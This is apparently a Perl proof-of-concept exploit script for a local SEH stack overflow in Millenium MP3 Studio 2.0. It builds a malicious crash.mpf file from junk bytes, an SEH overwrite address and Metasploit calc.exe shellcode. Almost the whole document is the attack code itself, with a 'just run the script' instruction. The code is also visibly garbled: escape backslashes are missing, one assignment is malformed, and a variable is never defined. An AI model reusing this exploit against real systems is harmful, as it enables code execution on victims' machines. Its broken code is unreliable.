# [+] Vulnerability	: .mpf File Local Stack Overflow Exploit (SEH) 
# [+] Product : Millenium MP3 Studio
# [+] Versions affected : v2.0
# [+] Download : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method	: seh
# [+] Tested on : Windows XP SP2/SP3 En
# [+] Written by : dellnull  (dellnull[at]gmail[dot]com
# [+] Greetz to : corelanc0d3r
#
# [+] Just run the script and open the created file (crash.mpf) with Mp3-Millennium 2.0
# [+] Enjoy the NOP slide ;-)
#
# -----------------------------------------------------------------------------
#                                               MMMMM~.
#                                               MMMMM?.
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:   MMMMMMMMMM.
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
#  MMMMM=.     MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
#     .,,,..      .,,,,.   .,,,,,     ..,,,..   .,,,,.. .,,...,,,. .,,,,..,,,,.
#                                                                   eip hunters
# -----------------------------------------------------------------------------
#
# Script provided for educational purposes only.
#
#
my $sploitfile="crash.mpf";
my $junk."A" x 4112; 
my $nops = "x90" x 25;
my $seh=pack('V',0x10020147); 
# windows/exec  calc.exe
# http://www.metasploit.com
my $shellcode = "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49".
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36".
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34".
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41".
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54".
"x42x50x42x50x42x30x4bx58x45x34x4ex33x4bx38x4ex37".
"x45x30x4ax57x41x30x4fx4ex4bx48x4fx44x4ax31x4bx38".
"x4fx45x42x52x41x30x4bx4ex49x54x4bx38x46x53x4bx48".
"x41x30x50x4ex41x33x42x4cx49x59x4ex4ax46x38x42x4c".
"x46x47x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e".
"x46x4fx4bx53x46x45x46x32x46x50x45x37x45x4ex4bx48".
"x4fx45x46x42x41x30x4bx4ex48x46x4bx38x4ex50x4bx44".
"x4bx58x4fx45x4ex41x41x50x4bx4ex4bx48x4ex51x4bx38".
"x41x50x4bx4ex49x48x4ex35x46x52x46x50x43x4cx41x33".
"x42x4cx46x56x4bx38x42x34x42x53x45x38x42x4cx4ax37".
"x4ex50x4bx38x42x54x4ex50x4bx48x42x37x4ex31x4dx4a".
"x4bx48x4ax46x4ax50x4bx4ex49x30x4bx38x42x48x42x4b".
"x42x30x42x30x42x30x4bx38x4ax36x4ex33x4fx55x41x53".
"x48x4fx42x46x48x45x49x48x4ax4fx43x58x42x4cx4bx37".
"x42x55x4ax56x42x4fx4cx58x46x30x4fx35x4ax46x4ax49".
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x56x41x46".
"x4ex36x43x46x42x30x5a";
my $junk2 ="x90" x 100;
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);